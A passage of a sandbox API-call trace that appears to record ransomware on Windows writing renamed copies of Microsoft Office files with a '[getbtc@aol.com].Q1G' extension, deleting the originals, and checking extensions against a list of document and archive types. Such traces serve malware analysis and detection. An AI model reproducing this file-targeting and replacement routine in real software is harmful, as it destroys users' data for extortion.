[0257.645] ReadFile (in: hFile=0x3e4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xc57c, lpOverlapped=0x0) returned 1 [0257.679] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xc580, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xc580, lpOverlapped=0x0) returned 1 [0257.680] ReadFile (in: hFile=0x3e4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0257.680] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0257.681] SetEndOfFile (hFile=0x3c0) returned 1 [0257.681] CloseHandle (hObject=0x3c0) returned 1 [0257.681] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.681] SetEndOfFile (hFile=0x3e4) returned 1 [0257.683] CloseHandle (hObject=0x3e4) returned 1 [0257.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl")) returned 1 [0257.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0257.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0257.684] lstrlenW (lpString=".doc") returned 4 [0257.684] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0257.684] lstrlenW (lpString=".docx") returned 5 [0257.684] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0257.684] lstrlenW (lpString=".pdf") returned 4 [0257.685] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0257.685] lstrlenW (lpString=".xls") returned 4 [0257.685] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0257.685] lstrlenW (lpString=".xlsx") returned 5 [0257.685] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0257.685] lstrlenW (lpString=".ppt") returned 4 [0257.685] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0257.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0257.685] lstrlenW (lpString=".zip") returned 4 [0257.685] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0257.685] lstrlenW (lpString=".rar") returned 4 [0257.685] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0257.685] lstrlenW (lpString=".bz2") returned 4 [0257.685] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0257.685] lstrlenW (lpString=".7z") returned 3 [0257.685] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0257.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0257.685] lstrlenW (lpString=".dbf") returned 4 [0257.685] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0257.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0257.685] lstrlenW (lpString=".1cd") returned 4 [0257.685] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0257.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0257.685] lstrlenW (lpString=".jpg") returned 4 [0257.685] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0257.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0257.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0257.685] lstrlenW (lpString=".doc") returned 4 [0257.685] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0257.685] lstrlenW (lpString=".docx") returned 5 [0257.685] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0257.685] lstrlenW (lpString=".pdf") returned 4 [0257.685] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0257.685] lstrlenW (lpString=".xls") returned 4 [0257.686] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0257.686] lstrlenW (lpString=".xlsx") returned 5 [0257.686] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0257.686] lstrlenW (lpString=".ppt") returned 4 [0257.686] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0257.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0257.686] lstrlenW (lpString=".zip") returned 4 [0257.686] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0257.686] lstrlenW (lpString=".rar") returned 4 [0257.686] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0257.686] lstrlenW (lpString=".bz2") returned 4 [0257.686] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0257.686] lstrlenW (lpString=".7z") returned 3 [0257.686] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0257.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0257.686] lstrlenW (lpString=".dbf") returned 4 [0257.686] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0257.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0257.686] lstrlenW (lpString=".1cd") returned 4 [0257.686] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0257.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0257.686] lstrlenW (lpString=".jpg") returned 4 [0257.686] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0257.686] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.686] lstrlenW (lpString="ACCDDSLM.DLL") returned 12 [0257.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.704] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=552368) returned 1 [0257.704] CloseHandle (hObject=0x390) returned 1 [0257.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll")) returned 0x20 [0257.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0257.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0257.736] lstrlenW (lpString=".doc") returned 4 [0257.736] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.736] lstrlenW (lpString=".docx") returned 5 [0257.736] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0257.736] lstrlenW (lpString=".pdf") returned 4 [0257.737] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.737] lstrlenW (lpString=".xls") returned 4 [0257.737] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.737] lstrlenW (lpString=".xlsx") returned 5 [0257.737] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0257.737] lstrlenW (lpString=".ppt") returned 4 [0257.737] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0257.737] lstrlenW (lpString=".zip") returned 4 [0257.737] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.737] lstrlenW (lpString=".rar") returned 4 [0257.737] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.737] lstrlenW (lpString=".bz2") returned 4 [0257.737] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.737] lstrlenW (lpString=".7z") returned 3 [0257.737] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0257.737] lstrlenW (lpString=".dbf") returned 4 [0257.737] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0257.737] lstrlenW (lpString=".1cd") returned 4 [0257.737] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0257.737] lstrlenW (lpString=".jpg") returned 4 [0257.737] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0257.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0257.737] lstrlenW (lpString=".doc") returned 4 [0257.737] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.737] lstrlenW (lpString=".docx") returned 5 [0257.737] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0257.737] lstrlenW (lpString=".pdf") returned 4 [0257.737] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.737] lstrlenW (lpString=".xls") returned 4 [0257.737] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.737] lstrlenW (lpString=".xlsx") returned 5 [0257.738] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0257.738] lstrlenW (lpString=".ppt") returned 4 [0257.738] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0257.738] lstrlenW (lpString=".zip") returned 4 [0257.738] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.738] lstrlenW (lpString=".rar") returned 4 [0257.738] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.738] lstrlenW (lpString=".bz2") returned 4 [0257.738] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.738] lstrlenW (lpString=".7z") returned 3 [0257.738] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0257.738] lstrlenW (lpString=".dbf") returned 4 [0257.738] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0257.738] lstrlenW (lpString=".1cd") returned 4 [0257.738] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0257.738] lstrlenW (lpString=".jpg") returned 4 [0257.738] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.738] lstrcmpiW (lpString1=".ECF", lpString2=".Q1G") returned -1 [0257.738] lstrlenW (lpString="MSSPC.ECF") returned 9 [0257.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0257.739] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=778) returned 1 [0257.739] CloseHandle (hObject=0x3d8) returned 1 [0257.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf")) returned 0x20 [0257.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0257.739] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.739] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.740] GetLastError () returned 0x0 [0257.740] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x30a, lpOverlapped=0x0) returned 1 [0257.775] WriteFile (in: hFile=0x390, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x310, lpOverlapped=0x0) returned 1 [0257.775] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0257.776] WriteFile (in: hFile=0x390, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0257.776] SetEndOfFile (hFile=0x390) returned 1 [0257.776] CloseHandle (hObject=0x390) returned 1 [0257.776] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.776] SetEndOfFile (hFile=0x3d8) returned 1 [0257.778] CloseHandle (hObject=0x3d8) returned 1 [0257.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf")) returned 1 [0257.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0257.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0257.779] lstrlenW (lpString=".doc") returned 4 [0257.779] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0257.779] lstrlenW (lpString=".docx") returned 5 [0257.779] lstrcmpiW (lpString1=".docx", lpString2="C.ECF") returned -1 [0257.779] lstrlenW (lpString=".pdf") returned 4 [0257.779] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0257.779] lstrlenW (lpString=".xls") returned 4 [0257.779] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0257.779] lstrlenW (lpString=".xlsx") returned 5 [0257.779] lstrcmpiW (lpString1=".xlsx", lpString2="C.ECF") returned -1 [0257.779] lstrlenW (lpString=".ppt") returned 4 [0257.779] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0257.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0257.779] lstrlenW (lpString=".zip") returned 4 [0257.779] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0257.779] lstrlenW (lpString=".rar") returned 4 [0257.779] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0257.779] lstrlenW (lpString=".bz2") returned 4 [0257.779] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0257.779] lstrlenW (lpString=".7z") returned 3 [0257.779] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0257.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0257.779] lstrlenW (lpString=".dbf") returned 4 [0257.779] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0257.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0257.780] lstrlenW (lpString=".1cd") returned 4 [0257.780] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0257.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0257.780] lstrlenW (lpString=".jpg") returned 4 [0257.780] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0257.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0257.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0257.780] lstrlenW (lpString=".doc") returned 4 [0257.780] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0257.780] lstrlenW (lpString=".docx") returned 5 [0257.780] lstrcmpiW (lpString1=".docx", lpString2="C.ECF") returned -1 [0257.780] lstrlenW (lpString=".pdf") returned 4 [0257.780] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0257.780] lstrlenW (lpString=".xls") returned 4 [0257.780] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0257.780] lstrlenW (lpString=".xlsx") returned 5 [0257.780] lstrcmpiW (lpString1=".xlsx", lpString2="C.ECF") returned -1 [0257.780] lstrlenW (lpString=".ppt") returned 4 [0257.780] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0257.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0257.780] lstrlenW (lpString=".zip") returned 4 [0257.780] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0257.780] lstrlenW (lpString=".rar") returned 4 [0257.780] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0257.780] lstrlenW (lpString=".bz2") returned 4 [0257.780] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0257.780] lstrlenW (lpString=".7z") returned 3 [0257.780] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0257.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0257.780] lstrlenW (lpString=".dbf") returned 4 [0257.780] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0257.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0257.780] lstrlenW (lpString=".1cd") returned 4 [0257.780] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0257.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0257.781] lstrlenW (lpString=".jpg") returned 4 [0257.781] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0257.781] lstrcmpiW (lpString1=".ECF", lpString2=".Q1G") returned -1 [0257.781] lstrlenW (lpString="OUTEX2.ECF") returned 10 [0257.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.795] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=850) returned 1 [0257.795] CloseHandle (hObject=0x3dc) returned 1 [0257.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf")) returned 0x20 [0257.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.797] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.797] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.800] GetLastError () returned 0x0 [0257.800] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x352, lpOverlapped=0x0) returned 1 [0257.801] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x360, lpOverlapped=0x0) returned 1 [0257.802] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0257.802] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0257.802] SetEndOfFile (hFile=0x3e0) returned 1 [0257.802] CloseHandle (hObject=0x3e0) returned 1 [0257.802] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.802] SetEndOfFile (hFile=0x3dc) returned 1 [0257.804] CloseHandle (hObject=0x3dc) returned 1 [0257.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf")) returned 1 [0257.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0257.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0257.805] lstrlenW (lpString=".doc") returned 4 [0257.805] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0257.805] lstrlenW (lpString=".docx") returned 5 [0257.805] lstrcmpiW (lpString1=".docx", lpString2="2.ECF") returned -1 [0257.805] lstrlenW (lpString=".pdf") returned 4 [0257.805] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0257.805] lstrlenW (lpString=".xls") returned 4 [0257.805] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0257.805] lstrlenW (lpString=".xlsx") returned 5 [0257.805] lstrcmpiW (lpString1=".xlsx", lpString2="2.ECF") returned -1 [0257.805] lstrlenW (lpString=".ppt") returned 4 [0257.805] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0257.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0257.806] lstrlenW (lpString=".zip") returned 4 [0257.806] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0257.806] lstrlenW (lpString=".rar") returned 4 [0257.806] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0257.806] lstrlenW (lpString=".bz2") returned 4 [0257.806] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0257.806] lstrlenW (lpString=".7z") returned 3 [0257.806] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0257.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0257.806] lstrlenW (lpString=".dbf") returned 4 [0257.806] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0257.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0257.806] lstrlenW (lpString=".1cd") returned 4 [0257.806] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0257.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0257.806] lstrlenW (lpString=".jpg") returned 4 [0257.806] lstrcmpiW (lpString1=".jpg", 